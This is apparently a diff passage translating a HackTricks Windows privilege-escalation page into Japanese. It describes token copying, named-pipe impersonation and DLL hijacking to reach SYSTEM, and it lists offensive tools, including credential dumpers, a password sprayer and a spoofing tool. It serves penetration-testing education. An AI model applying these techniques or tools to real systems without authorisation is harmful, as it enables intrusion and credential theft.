**arbitrary process with that token**.\ -Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +これらの token 権限を持っている場合(おそらく既に High Integrity プロセス内で見つかるでしょう)、SeDebug 権限でほとんどのプロセス(保護されたプロセスを除く)を開き、そのプロセスの token をコピーして、その token で任意のプロセスを作成できます。\ +この手法では通常、token 権限をすべて持つ SYSTEM として動作しているプロセスを選択します(はい、すべての token 権限を持っていない SYSTEM プロセスも存在します)。\ +**例となるコードは** [**こちら**](sedebug-+-seimpersonate-copy-token.md)**で確認できます。** ### **Named Pipes** -This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ -If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +この手法は meterpreter が `getsystem` を行う際に使用します。手法は「pipe を作成し、service を作成/悪用してその pipe に書き込ませる」ことです。すると、その pipe を作成した server は `SeImpersonate` 権限を使って pipe クライアント(service)の token を impersonate でき、SYSTEM 権限を得られます。\ +名前付きパイプについて詳しく学びたい場合は [**learn more about name pipes you should read this**](#named-pipe-client-impersonation) を読んでください。\ +High Integrity から System へ名前付きパイプを使って昇格する例を読みたい場合は [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md) を参照してください。 ### Dll Hijacking -If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +もし SYSTEM として動作するプロセスによって読み込まれる dll をハイジャックできれば、その権限で arbitrary code を実行できます。したがって Dll Hijacking はこの種の権限昇格にも有用であり、さらに High Integrity プロセスから達成する方がはるかに容易です(dll を読み込むフォルダに対する書き込み権限を持っているため)。\ +**詳細は** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**を参照してください。** ### **From Administrator or Network Service to System** @@ -1564,7 +1608,7 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**参照:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## More help @@ -1572,45 +1616,45 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as ## Useful tools -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows のローカル権限昇格ベクターを探す最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 構成ミスや機密ファイルをチェックします(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出済み。**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- 一部の構成ミスをチェックし情報を収集します(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- 構成ミスをチェックします**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY、WinSCP、SuperPuTTY、FileZilla、RDP の保存されたセッション情報を抽出します。ローカルでは -Thorough を使用してください。**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から資格情報を抽出します。検出済み。**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメインに対してスプレーします。**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell 製の ADIDNS/LLMNR/mDNS/NBNS スプーファ兼中間者ツールです。**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な Windows の権限昇格用列挙ツール**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の権限昇格脆弱性を検索します(Watson により非推奨)\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 誤設定や機密ファイルをチェック(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。検出済み。**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- いくつかの誤設定をチェックして情報を収集します(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- 誤設定をチェック**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla, および RDP の保存セッション情報を抽出します。ローカルで使用する場合は -Thorough を使ってください。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager から認証情報を抽出します。検出済み。**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 収集したパスワードをドメイン全体にスプレーします。**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh は PowerShell ベースの ADIDNS/LLMNR/mDNS/NBNS スプーファー兼 man-in-the-middle ツールです。**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的な Windows の権限昇格列挙ツール**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 既知の権限昇格脆弱性を検索(Watson に置換され非推奨)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- ローカルチェック **(管理者権限が必要)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の権限昇格脆弱性を検索します(VisualStudio でコンパイルする必要があります)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- ホストを列挙して構成ミスを検索します(権限昇格というより情報収集ツール)(コンパイルが必要)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt))\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多数のソフトウェアから資格情報を抽出します(GitHub に precompiled exe あり)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 既知の権限昇格脆弱性を検索します(VisualStudio でコンパイルする必要があります) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- ホストを列挙して誤設定を探します(privesc より情報収集向け)(コンパイルが必要) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 多数のソフトウェアから認証情報を抽出します(GitHub に precompiled exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp を C# に移植したもの**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 構成ミスをチェックします(実行ファイルは GitHub に precompiled)。推奨しません。Win10 ではうまく動作しません。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な構成ミスをチェックします(python から生成された exe)。推奨しません。Win10 ではうまく動作しません。 +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 誤設定をチェック(実行可能ファイルは GitHub にプリコンパイル済み)。推奨しません。Win10 ではあまり動作しません。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 可能な誤設定をチェックします(python からの exe)。推奨しません。Win10 ではあまり動作しません。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- この投稿に基づいて作成されたツール(accesschk がなくても動作しますが、使用することもできます)。 +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- この投稿を元に作成されたツール(正しく動作するために accesschk は不要ですが、利用可能です)。 **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み取り、動作するエクスプロイトを推奨します(ローカル python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み取り、動作するエクスプロイトを推奨します(ローカル python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** の出力を読み、動作する exploit を推奨します(ローカル、python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** の出力を読み、動作する exploit を推奨します(ローカル、python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: +このプロジェクトは正しいバージョンの .NET を使ってコンパイルする必要があります([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。ターゲットホストにインストールされている .NET のバージョンを確認するには次のようにしてください: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1633,4 +1677,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}